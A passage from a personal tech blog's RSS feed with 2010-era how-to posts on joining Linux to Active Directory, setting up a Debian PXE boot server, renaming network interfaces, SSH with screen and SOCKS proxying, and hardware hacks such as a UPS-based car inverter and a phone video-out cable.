]]></content:encoded></item><item><title>Use Active Directory for Linux logins</title><link>https://lanrat.com/posts/use-active-directory-for-linux-logins/</link><pubDate>Sun, 05 Sep 2010 02:39:38 +0000</pubDate><guid>https://lanrat.com/posts/use-active-directory-for-linux-logins/</guid><description>Guide for configuring Linux systems to authenticate users against Microsoft Active Directory using authconfig and Samba Winbind.</description><content:encoded><![CDATA[<p>This is a simple how-to on using Microsoft&rsquo;s Active Directory for user authentication on Linux systems. The method described in this guide should work for Cent OS, Red Hat Enterprise Linux (RHEL), and Fedora. Debian based distributions do not have the tools used in this method and require a different setup. This guide used Cent OS 5.5 with a minimal text only install, however it should apply the same to other compatible versions of Linux.</p>
<h2 id="installing-the-software">Installing the Software</h2>
<p>We will need two packages installed to join the Active Directory (AD) domain and use it for user authentication, authconfig and samba-common. authconfig should be installed by default but with a minimal install you will need to install samba. Install them with the following command:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>yum install samba-common authconfig
</span></span></code></pre></div><h2 id="setting-up-authconfig">Setting up Authconfig</h2>
<p>Start authconfig by running  authconfig-tui, if you have a graphical desktop such as gnome installed you can launch it from System-&gt;Administration-&gt;Authentication but this guide will cover the text/cli version. But the same steps apply to both methods.</p>
<ol>
<li>
<p>Under user information select &ldquo;Use Windbind&rdquo;</p>
</li>
<li>
<p>Under authentication select &ldquo;Use MD5 Passwords&rdquo;, &ldquo;Use Shadow Passwords&rdquo;, &ldquo;Use Windbind Authentication&rdquo;, and &ldquo;Local authorization is Sufficient&rdquo;.</p>
</li>
<li>
<p>Your screen should look like this:</p>
<p><img alt="authconfig-tui setup for active directory" loading="lazy" src="/posts/use-active-directory-for-linux-logins/images/authconfig1.webp"></p>
</li>
<li>
<p>Click Next</p>
</li>
<li>
<p>Change the &ldquo;Security Model&rdquo; to &ldquo;domain&rdquo;</p>
</li>
<li>
<p>Under &ldquo;Domain&rdquo; enter your active directory domain.</p>
</li>
<li>
<p>Enter the FQDN (fully-qualified domain name) of your domain servers, if you have more than one you can separate them with a comma.</p>
</li>
<li>
<p>The ADS realm is the full domain, it must be in call caps.</p>
</li>
<li>
<p>To allow users to login change the template shell to /bin/bash, or whatever shell you prefer.</p>
</li>
<li>
<p>The screen should now look like this, but with your correct information:</p>
<p><img alt="authconfig domain settings" loading="lazy" src="/posts/use-active-directory-for-linux-logins/images/authconfig2.webp"></p>
</li>
<li>
<p>Select OK.</p>
</li>
</ol>
<h2 id="setting-up-samba">Setting Up Samba</h2>
<p>Now you need to edit <code>/etc/samba/smb.conf</code>. You will see many of the settings you just entered in this file, however we still need to manually change one value that authconfig does not do for us. Look for &ldquo;windbind use default domain&rdquo; and change it from false to true.</p>
<h2 id="setting-up-pam">Setting up PAM</h2>
<p>PAM controls user logins. and we need to create a home directory for domain users on their first login. All domain users will have a home directory in /home/Domain/user, where Domain is your domain and user is their username. Create the Domain folder inside the /home directory with the mkdir command as root.</p>
<p>Next we need to enable the user&rsquo;s home directory creation in PAM. Edit /etc/pam.d/system-auth. Scroll to the end of the file and at the end add this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>session optional pam_mkhomedir.so
</span></span></code></pre></div><p>Save the file and exit. To make these changes take effect we need to restart the windbind service and the oddjobd service. This can usually be done with the service command. I will not cover that here.</p>
<h2 id="joining-the-domain">Joining the Domain</h2>
<p>Now that the system is configured correctly we will actually join the system to the Active Directory domain. run the &ldquo;authconfig-tui&rdquo; program again. Click next. And this time on the second screen select &ldquo;Join Domain&rdquo;. Enter a domain administrator&rsquo;s username and password and join the domain. After entering the credentials select OK to save and exit.</p>
<p>You are now done. You should be able to log out (as root) and log in as any domain member. Upon first login your come directory should be created automatically.</p>
]]></content:encoded></item><item><title>Build Your Own Car Power Inverter</title><link>https://lanrat.com/posts/build-your-own-car-power-inverter/</link><pubDate>Sun, 29 Aug 2010 02:49:54 +0000</pubDate><guid>https://lanrat.com/posts/build-your-own-car-power-inverter/</guid><description>DIY car power inverter project using a repurposed UPS to convert 12V DC to 110V AC, complete with modifications and testing results.</description><content:encoded><![CDATA[<p>A car inverter will take the 12 volts DC from your car, usually from your cigarette lighter, and turn it into 110 volts AC, which is what you get out of your home power outlets. This allows you to plug household electronics into your car. The most common would probably be your laptop. Home UPS systems do the same thing, except instead of using a car outlet they use a 12 volt battery. I used a old home UPS system I had laying around that had a bad battery. (We don&rsquo;t use the battery in this mod)</p>
<h2 id="preparing-the-ups">Preparing the UPS</h2>
<p>Here is the UPS before any modifications:</p>
<p><img alt="USP" loading="lazy" src="/posts/build-your-own-car-power-inverter/images/ups-before-modification.webp"></p>
<p>Only half of the outlets on the device are given power from the UPS system, the rest act as a regular surge strip. The first thing I did was rewire the &ldquo;surge&rdquo; outlets to be wired into the UPS power so that all of the outlets would be provided power from the UPS system.</p>
<p><img alt="Inside UPS" loading="lazy" src="/posts/build-your-own-car-power-inverter/images/ups-inside-wiring.webp"></p>
<p>Next I took a car plug adapter I had lying around and connected it to the battery terminals after removing the battery.</p>
<p><img alt="UPS with car plug" loading="lazy" src="/posts/build-your-own-car-power-inverter/images/ups-with-car-plug-adapter.webp"></p>
<h2 id="testing">Testing</h2>
<p>The UPS system was working and outputting ~106 volts AC from a car&rsquo;s 12 volts outlet. Here you can see it in action with my meter and a wireless router.</p>
<p><img alt="Testing inverter with meter" loading="lazy" src="/posts/build-your-own-car-power-inverter/images/inverter-testing-with-meter.webp"></p>
<p>This worked great, but the UPS has a buzzer in it which stayed on. The purpose of this buzzer was to notify you that your power is out and that you are on battery power. However it serves us no purpose and is just really annoying. I fixed it by desoldering the buzzer from the main circuit board.</p>
<h2 id="some-final-modifications">Some Final Modifications</h2>
<p>In addition to removing the buzzer, I also wanted to make the device smaller as half of it is empty space due to the lack of a battery.</p>
<p>I started by moving two of the LEDs that are on the batter end over to the power switch. I moved just the Power and Overload LEDs, as the rest served no purpose for an inverter.</p>
<p><img alt="UPS LED Mod" loading="lazy" src="/posts/build-your-own-car-power-inverter/images/ups-led-modification.webp"></p>
<p>I used a pipe saw to cut off the battery compartment, there was already a divider on the inside that would now act as the outside wall on that end.</p>
<p><img alt="Final UPS" loading="lazy" src="/posts/build-your-own-car-power-inverter/images/final-car-power-inverter.webp"></p>
<p>This UPS works perfectly as a power inverter. I have used it on several road trips just fine, And because it was intended to be a computer UPS, it can power 350 watts, which is much more than your average car inverter.</p>
]]></content:encoded></item><item><title>N810 as Computer GPS</title><link>https://lanrat.com/posts/n810-as-computer-gps/</link><pubDate>Sun, 22 Aug 2010 02:45:12 +0000</pubDate><guid>https://lanrat.com/posts/n810-as-computer-gps/</guid><description>Using Nokia N810 tablet as an external GPS device for computers by configuring gpsd and sharing GPS data over network connections.</description><content:encoded><![CDATA[<p>This guide will tell you how to let a windows computer make use of your N810&rsquo;s GPS as if it was its own. While the Nokia N810 does not have the best GPS in the world it is still better than no GPS. On a recent road trip I wanted a way to visualize my trip route on a more powerful device than my N810&rsquo;s 400MHz processor and <a href="https://garage.maemo.org/projects/maemo-mapper/">Maemo Mapper</a>. I wanted the full use of my laptop, <a href="https://earth.google.com/">Google Earth</a> and the Internet.</p>
<h2 id="preparing-the-tablet">Preparing The Tablet</h2>
<p>The built in GPS software does not allow us do do anything advanced like this. We will be using <a href="https://maemo.org/downloads/product/OS2008/minigpsd/">Minigpsd</a> as a replacement for the built in GPS interface software. Minigpsd allows for many more advanced options for the GPS, and may even assist in getting locks faster. Install Minigpsd from the above link. After the installation is complete open up the settings and click the &ldquo;Advanced&rdquo; button. Here you will be able to see and set the ports Minigpsd communicates on. You can either leave them at their defaults or change them however you see fit. Below is a screenshot of my configuration.</p>
<p><img alt="N810 Minigpsd setup" loading="lazy" src="/posts/n810-as-computer-gps/images/n810-minigpsd.webp"></p>
<p>Now you need to network the Tablet and your Computer. In my case (On a road trip) I was unable to have an access point around, especially in a moving car. So I used an Ad-Hoc Wireless network. But you can use any method you want, including Bluetooth Pan or over your cellular network. I will not go into how to set this up here.</p>
<h2 id="preparing-the-computer">Preparing The Computer</h2>
<p>Assuming that your computer is now networked to your N810 you will need software than can take the GPS data from the N810 over the network and bring it to the computer in a form it can use. The best software that I could find that does this is <a href="https://www.hw-group.com/software/hw-vsp3-virtual-serial-port">HW Group&rsquo;s Virtual Serial Port</a>. This software will take the GPS data and make a virtual serial port. From your computer&rsquo;s point of view it will think that there is a serial GPS attached to it.</p>
<p>Simply start up the virtual serial port software and create a new virtual serial port. It will need an IP address and port. the IP is the IP of your tablet and the port is the &ldquo;gps direct&rdquo; port. In the above example it is 22947. Once the port is created make sure your N810 is on, able to ping it from your computer, and GPSD is running.</p>
<h2 id="testing-it-out">Testing It Out</h2>
<p>Your computer should now see your N810 as a RAW serial GPS device. To test it out install some GPS aware software. I used <a href="https://earth.google.com/">Google Earth</a>.</p>
<p>On Google Earth open Tools -&gt; GPS -&gt; Real Time you should see the following:</p>
<p><img alt="Google Earth NEMA GPS" loading="lazy" src="/posts/n810-as-computer-gps/images/GE-GPS.webp"></p>
<p>If you want to start tracking of the N810, click start. You can change the frequency of the position updates by changing the &ldquo;Polling interval&rdquo;.</p>
<p>An alternate method of setting this up without the use of any serial-port emulator on the computer is to use Google Earth&rsquo;s Network Link function. This will allow Google Earth to look on the N810 for a kml file containing its current longitude and latitude, and use that instead. This KML file can be found on GPSD&rsquo;s internal web server. On the above example we can see I have it set to run on port 8888. Below is my example configuration:</p>
<p><img alt="Google Earth Network Link" loading="lazy" src="/posts/n810-as-computer-gps/images/GE-Net.webp"></p>
<p>I suggest you uncheck &ldquo;Allow this folder to be expanded&rdquo; because this file will only contain one updating set of points. also, if you want to use this for real time tracking set the &ldquo;Time-Based Refresh&rdquo; to Periodically, and the number of seconds you want between updates. the lower the more smooth the movement will appear.</p>
<p>This concept should work with any GPSD compatible device, including other computers and some modern <a href="https://code.google.com/p/gpstether/">cell phones</a>. And is in no way limited to Google Earth. I have also tested it with <a href="https://www.netstumbler.com/downloads/">NetStumbler</a> and <a href="https://www.metageek.net/products/inssider">inSSIDer</a>.</p>
]]></content:encoded></item><item><title>HTC Incredible Video Out</title><link>https://lanrat.com/posts/htc-incredible-video-out/</link><pubDate>Thu, 03 Jun 2010 03:14:58 +0000</pubDate><guid>https://lanrat.com/posts/htc-incredible-video-out/</guid><description>DIY video output cable construction for HTC Incredible smartphone using ribbon cable and micro-USB to display video content on television.</description><content:encoded><![CDATA[<p>I recently got a HTC Incredible to replace my aging LG Chocolate. One feature of the Incredible was video out. Specifically the ability to output composite video to a TV. The cable was first demoed by WireFly here: <a href="https://www.youtube.com/watch?v=eJyt463AoOA">https://www.youtube.com/watch?v=eJyt463AoOA</a> And since then <a href="https://www.droidforums.net/forum/droid-incredible-accessories/41047-micro-mini-usb-incredible.html">threads</a> like <a href="https://androidforums.com/htc-incredible/68032-tv-out-cable-htc-incredible.html">these</a> have started trying to hunt down the cable. And it looks like one day it may be sold <a href="http://shop.htcpedia.com/index.php?dispatch=products.view&amp;amp;product_id=875&amp;amp;compability_product=757">at HTC Pedia</a> or <a href="http://www.bensbazaar.com/htc-oem-brand-name-av-micro-cable-for-htc-incredible-73h0034800m.html">at Ben&rsquo;s Bazaar</a>. But for the time being this cable is not being sold anywhere, and there is a rumor that it may never be commercially sold.</p>
<p>Luckily smokeynerd over at <a href="https://forum.xda-developers.com/">XDA Developers</a> made a cable for himself and got the pinouts of the extra 7 pins in the Incredible&rsquo;s Micro-USB port. See this thread: <a href="https://forum.xda-developers.com/showthread.php?p=6647344">https://forum.xda-developers.com/showthread.php?p=6647344</a>. With this information I set out to make my own cable. My first attempt was just to verify that it worked, and it was a success. I used alligator clips and needles to make the connection to the video out and ground. But this was not a practical solution because I needed to hold the needles in just the right place so that they would make contact.</p>
<p><img alt="First video out cable" loading="lazy" src="/posts/htc-incredible-video-out/images/first-video-out-cable-test.webp"></p>
<p>Now that I knew that it worked I set out to find something a little more practical. I found a ribbon cable that was just the right size and had the correct pin alignment in an old laptop, (By old I mean it was so old it used the same processor as a desktop, think under 100Mhz). Without thinking twice I scrapped the laptop and used the cable. This ribbon cable was not enough on its own, I also used a standard micro-usb cable to hold it in place, which also allowed the Incredible to charge/sync while the video out is in use. I used two alligator clips much like I did the first time to make the connections to the TV. Below you can see the ribbon cable and micro-USB.</p>
<p><img alt="Ribbon Cable" loading="lazy" src="/posts/htc-incredible-video-out/images/ribbon-cable-micro-usb.webp"></p>
<p>Here is a video of the final result:</p>
<div style="position: relative; padding-bottom: 56.25%; height: 0; overflow: hidden;">
      <iframe allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture; web-share; fullscreen" loading="eager" referrerpolicy="strict-origin-when-cross-origin" src="https://www.youtube.com/embed/fAA15n0T-G0?autoplay=0&amp;controls=1&amp;end=0&amp;loop=0&amp;mute=0&amp;start=0" style="position: absolute; top: 0; left: 0; width: 100%; height: 100%; border:0;" title="YouTube video"></iframe>
    </div>

<p>It works, but I will still be looking into improving it, specifically removing the need for alligator clips. I also noticed that a few pixels are being cut off. This is not a limitation of my cable, this is probably software related, but could possibly have something to do with the Incredible&rsquo;s video out hardware. When In landscape mode about 5 pixels are missing from the left and when in portrait, both the top and bottom are being cut off. There are also bars on the TV (At least on mine) that go around the entire image, reducing the Incredible&rsquo;s viewing area. I was also unable to get the audio to work via this connector, and the Incredible disables its speaker when using video out, however the headphone output still works.</p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition info">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM216 336l24 0 0-64-24 0c-13.3 0-24-10.7-24-24s10.7-24 24-24l48 0c13.3 0 24 10.7 24 24l0 88 8 0c13.3 0 24 10.7 24 24s-10.7 24-24 24l-80 0c-13.3 0-24-10.7-24-24s10.7-24 24-24zm40-208a32 32 0 1 1 0 64 32 32 0 1 1 0-64z"/></svg>
        <span>Update</span>
      </div>
      <div class="admonition-content">
        <p>I was able to fix the missing pixels and bars by adjusting my TV&rsquo;s &ldquo;picture size&rdquo;. But I need to re-adjust it every time it switched from landscape to portrait or vise-versa. Hopefully this is just a problem with this particular TV. Below you can see the Phone&rsquo;s screen without any bars or missing pixels on my TV.</p>
      </div>
    </div><p><img alt="Incredible Video Out" loading="lazy" src="/posts/htc-incredible-video-out/images/incredible-tv-display.webp"></p>
<h2 id="links">Links</h2>
<ul>
<li><a href="https://forum.xda-developers.com/showthread.php?p=6647344">Forum thread with pinouts</a></li>
<li><a href="https://www.youtube.com/watch?v=fAA15n0T-G0">Youtube Demo</a></li>
</ul>
]]></content:encoded></item><item><title>Building a PXE Server</title><link>https://lanrat.com/posts/building-a-pxe-server/</link><pubDate>Mon, 19 Apr 2010 02:36:24 +0000</pubDate><guid>https://lanrat.com/posts/building-a-pxe-server/</guid><description>Complete guide to setting up a PXE (Pre-Executable Environment) server on Debian for network-based operating system installation and deployment.</description><content:encoded><![CDATA[<p>PXE is a method for booting an operating system over a network, it stands for Pre-Executable environment. Here I will show you how to build a PXE server to boot and or install operating systems over your network.</p>
<h2 id="installing-the-server-os">Installing the server OS</h2>
<p>I made this server inside VMWare, however the steps are the same if you are using a different virtual machine server or a physical machine. I used Debian 5.0 and used the net-install iso. Since we will only be needing a bare Debian install and just a few extra packages there is no need to download/install the entire OS.</p>
<p>Once you boot the installer follow all the installation prompts and enter the values that apply to you (language/timezone/password/etc). When tasksel runs I would recommend you unselect all the options to get the smallest install possible.</p>
<p><img alt="tasksel in debain" loading="lazy" src="/posts/building-a-pxe-server/images/pxe1.webp"></p>
<p>After this the installation will finish, the computer will reboot and you will be presented with a login prompt.</p>
<h2 id="installing-and-setting-up-the-required-services">Installing and Setting up the required Services</h2>
<p>Now that you have a fresh install of Debian install the required packages</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>apt-get install tftpd-hpa dhcp3-server lftp
</span></span></code></pre></div><p>This will install the TFTP server and a DHCP server, the two programs needed to load files over PXE. Next we need to configure the network to be static. Edit <code>/etc/network/interfaces</code> and change the network configuration to something like this:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>iface eth1 inet static
</span></span><span style="display:flex;"><span>address 192.168.1.6
</span></span><span style="display:flex;"><span>netmask 255.255.255.0
</span></span><span style="display:flex;"><span>gateway 192.168.1.1
</span></span></code></pre></div><p>Now restart the network interface with <code>ifdown eth1; ifup eth1</code> to have the new settings take effect.</p>
<p>Next we want to edit <code>/etc/dhcp3/dhcpd.conf</code>. this is the configuration file for the dhcp server. You can look at the default file to see how it is setup, but we don&rsquo;t need it. replace it with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>allow booting;
</span></span><span style="display:flex;"><span>allow bootp;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>option domain-name-servers 192.168.1.1;
</span></span><span style="display:flex;"><span>default-lease-time 86400;
</span></span><span style="display:flex;"><span>max-lease-time 604800;
</span></span><span style="display:flex;"><span>authoritative;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>subnet 192.168.1.0 netmask 255.255.255.0 {
</span></span><span style="display:flex;"><span>range 192.168.1.100 192.168.1.200;
</span></span><span style="display:flex;"><span>filename &#34;pxelinux.0&#34;;
</span></span><span style="display:flex;"><span>next-server 192.168.1.6;
</span></span><span style="display:flex;"><span>option subnet-mask 255.255.255.0;
</span></span><span style="display:flex;"><span>option broadcast-address 192.168.1.255;
</span></span><span style="display:flex;"><span>option routers 192.168.1.1;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>This will configure your dhcp server to hand out addresses between 192.168.1.100-200, use a router of 192.168.1.1. And if the dhcp client asks the dhcp server for boot information it will tell it to load a file named <code>pxelinux.0</code> from 192.168.1.6, which is our server. DHCP is now setup.</p>
<p>Now we need to edit the tftp settings. Edit <code>/etc/default/tftpd-hpa</code>. Change the RUN_DAEMON to yes and change the options directory to /tftp, save and close the file. Now run <code>mkdir -p /tftp</code> to create our tftp folder. this will be the server root.</p>
<p>Now start the PXE server with:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>/etc/init.d/dhcp3-server start /etc/init.d/tftpd-hpa start
</span></span></code></pre></div><h2 id="setting-up-the-pxe-tftp-folder">Setting up the PXE tftp folder</h2>
<p>In the root of the tftp folder we need to have <code>pxelinux.0</code>. this is the file that our DHCP server tells the client to download. You can download the latest version from here: <a href="https://www.kernel.org/pub/linux/utils/boot/syslinux/">https://www.kernel.org/pub/linux/utils/boot/syslinux/</a> you will need <code>pxelinux.0</code> found in the core folder of the zip. Place <code>pxelinux.0</code> in the <code>/tftp</code> folder. Next create a <code>pxelinux.cfg</code> folder inside <code>/tftp</code>. And inside the <code>pxelinux.cfg</code> folder create a default file. This file will contain the boot information for clients if there is not a file that matched their MAC address. If there is one it would be in the <code>pxelinux.cfg</code> folder. Inside of default put:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>DISPLAY boot.txt
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>DEFAULT debian_install
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>LABEL debian_install
</span></span><span style="display:flex;"><span>kernel debian/etch/i386/linux
</span></span><span style="display:flex;"><span>append vga=normal initrd=debian/lenny/i386/initrd.gz
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>LABEL memtest
</span></span><span style="display:flex;"><span>kernel memdisk
</span></span><span style="display:flex;"><span>append initrd=memtest.img
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>LABEL DSL
</span></span><span style="display:flex;"><span>kernel dsl/linux24
</span></span><span style="display:flex;"><span>append ramdisk_size=100000 init=/etc/init lang=us apm=power-off vga=791 initrd=dsl/minirt24.gz nomce noapic quiet
</span></span><span style="display:flex;"><span>BOOT_IMAGE=knoppix
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>PROMPT 1
</span></span><span style="display:flex;"><span>TIMEOUT 0
</span></span></code></pre></div><p>And now create a boot.txt in your /tftp folder with the following contents:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>=PXE Boot Menu=
</span></span><span style="display:flex;"><span>+++++++++++++++
</span></span><span style="display:flex;"><span>options are:
</span></span><span style="display:flex;"><span>debian_install
</span></span><span style="display:flex;"><span>DSL
</span></span><span style="display:flex;"><span>memtest
</span></span></code></pre></div><p>Now the boot.txt will be displayed allowing you to enter a label that is defined in default and it will boot that kernel with the given options. You can edit default and boot.txt however you like. In the examples iv given you have the option to install Debian, boot memtest, or boot damn small Linux. However we are still missing a vital part of the pxe server. We need the actual boot files. You can download the <a href="https://deb.debian.org/debian/dists/bookworm/main/installer-i386/current/images/netboot/debian-installer/i386/">Debian files</a> The DSL and memtest files can be found on their appropriate websites.</p>
<p>Each boot option should go in its own folder inside the /tftp folder. In the above example Debian is in the debian folder, DSL is in the dsl folder. However because memtest is only a single file I put it directly in the tftp root. Remember you must edit the default file to contain the correct boot arguments and kernel for what you are trying to boot.</p>
<p>Happy Network Booting!</p>
<p><a href="https://wiki.syslinux.org/wiki/index.php?title=PXELINUX">PXE from Syslinux</a></p>
]]></content:encoded></item><item><title>Switch Network Interface in Linux</title><link>https://lanrat.com/posts/switch-network-interface-in-linux/</link><pubDate>Thu, 08 Apr 2010 02:33:40 +0000</pubDate><guid>https://lanrat.com/posts/switch-network-interface-in-linux/</guid><description>Tutorial for renaming and reconfiguring network interface names in Linux by editing udev rules and network configuration files.</description><content:encoded><![CDATA[<p>This guide will tell you how to rename or switch network controller names in Linux. Often when installing Linux the installer will automatically pick the names of the network controllers. And for some reason the order it names them is almost always not the order I want them in. I usually like the primary/on-board card eth0, and all additional cards eth1-n, however the installer often has its own ideas. So this is how to correct it!</p>
<p>First off we need to tell the kernel which name gets associated with which physical card. On Debian based systems the information is in <code>/etc/udev/rules.d/70-persistent-net.rules</code> and on Redhat based systems it is in <code>/etc/sysconfig/network-scripts/ifcfg-ethX</code>. You will need to edit those files as root. In each file will be a line for each network controller with its mac address, driver, and name. You want to just edit the name to be what you want. For me that is often just changing eth0 to eth1 and vise-versa. When you are done you may save these files.</p>
<p>Next you need to configure the IP information for the controllers. Edit (as root) /etc/network/interfaces. This file contains the IP address settings for each adapter. If you want eth0 to USE DHCP use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>auto eth0
</span></span><span style="display:flex;"><span>iface eth0 inet dhcp
</span></span></code></pre></div><p>If you want to set up a static IP address use:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>iface eth1 inet static
</span></span><span style="display:flex;"><span>address 192.168.1.5
</span></span><span style="display:flex;"><span>netmask 255.255.255.0
</span></span><span style="display:flex;"><span>gateway 192.168.1.1
</span></span></code></pre></div><p>But obviously change the settings to fit your needs.</p>
<p>Now save that file and reboot to apply the changes.</p>
<p><a href="https://serverfault.com/questions/48848/switch-eth0-and-eth1-in-ubuntu-server">Stack Overflow Question on this</a></p>
<h2 id="manual-temporary-configuration">Manual temporary configuration</h2>
<p>As you should know ifup ethX turns on the network interface and ifdown ethX turns it off, but these only work if the above interfaces file is configured correctly. If the file is configured incorrectly or you want to temporarily use a different configuration you can do so with these commands. Note that the adapter must be in the &ldquo;down&rdquo; state before issuing these. you can do this by running &ldquo;ifdown ethX&rdquo;</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ifconfig <span style="color:#f92672">[</span>device<span style="color:#f92672">]</span> <span style="color:#f92672">[</span>static ip <span style="color:#f92672">]</span> netmask <span style="color:#f92672">[</span>network mask<span style="color:#f92672">]</span> gateway <span style="color:#f92672">[</span>router ip<span style="color:#f92672">]</span> up
</span></span></code></pre></div><p>Or</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>ifconfig <span style="color:#f92672">[</span>device<span style="color:#f92672">]</span> dhcp start
</span></span></code></pre></div><p>This will bring your current network adapter up with a temporary configuration which will be cleared next time the adapter is brought down (either manually or by a reboot)</p>
]]></content:encoded></item><item><title>SSH Tips and Tricks</title><link>https://lanrat.com/posts/ssh-tips-and-tricks/</link><pubDate>Wed, 31 Mar 2010 02:28:13 +0000</pubDate><guid>https://lanrat.com/posts/ssh-tips-and-tricks/</guid><description>Comprehensive guide covering SSH utilities including Screen for session management, SOCKS proxy setup, and X11 forwarding techniques.</description><content:encoded><![CDATA[<h2 id="part-1---screen">Part 1 - Screen</h2>
<p>Screen is a program that can create virtual terminals inside your current session. If you are familiar with tabbed web browsers, think of screen as adding tabs to your terminal. And if your server allows it can allow you to disconnect sessions and keep them running in the background, even if you log out.</p>
<p>You can install screen on Debian with apt-get by running <code>sudo apt-get install screen</code> and <code>yum install screen</code> for rpm based systems.</p>
<p>Start screen by running:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>screen
</span></span></code></pre></div><p>The first time you run screen it will create a new window. This window is just like the session you left behind to enter screen. You can run any program you usually would have, and exit or close the window by typing exit and pressing enter.</p>
<p>Now for the fun part! Enter a new screen session by running screen. You can now run any program you like and leave it running, start your cli mail client or wget a large file. Now press Ctrl-a and then c. This will create a new windows (or tab if you will) in your current screen session. Ctrl-a is the screen hot-key to allow the user to enter a command to screen and not the currently running program or the current shell. In the previous example (Ctrl-a c), we told screen we were going to give it a command, then gave it the &lsquo;c&rsquo; command, which stands for Create. As you can guess, this created a new screen window.</p>
<p>Some of the important screen commands are Ctrl-a k: kills the current window, same as typing exit. Ctrl-a w: lists all open windows, Ctrl-a n: go to the next window or cycles through the available windows. Ctrl-a d: this will detach the current sessions, this allows the sessions to run in the background while you are dropped back into your shell. You can resume the session anytime later (even after logging out) by running:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>screen -r <span style="color:#f92672">[</span>SESSION_NAME<span style="color:#f92672">]</span>
</span></span></code></pre></div><p>You can view a list of the available screen sessions by running:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>screen -ls
</span></span></code></pre></div><p>However there is a wild-card resume that will resume the last open session or create one if there are none, to resume any open session run:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>screen -R
</span></span></code></pre></div><p>Screen can also do much more, If you want to learn more take a look at the screen manual.</p>
<h2 id="part-2---ssh-as-a-proxy">Part 2 - SSH as a proxy</h2>
<p>Openssh server has the ability to be used as a <a href="https://en.wikipedia.org/wiki/SOCKS">SOCKS</a> proxy. Using it as a socks proxy will allow you to run your proxied applications network traffic through the ssh server.</p>
<h3 id="windows-with-putty">Windows with putty</h3>
<p>You can use putty to allow a windows client to connect to the ssh/socks proxy. On the putty client go to the Tunnels page and enter any source port you want, this will be the port that you will tell your local application to use at the proxy server port. Leave the destination field blank and select the dynamic check-box. Select Add to add the port. It should look like this:</p>
<p><img alt="Putty configured for socks proxy" loading="lazy" src="/posts/ssh-tips-and-tricks/images/putty-socks.webp"></p>
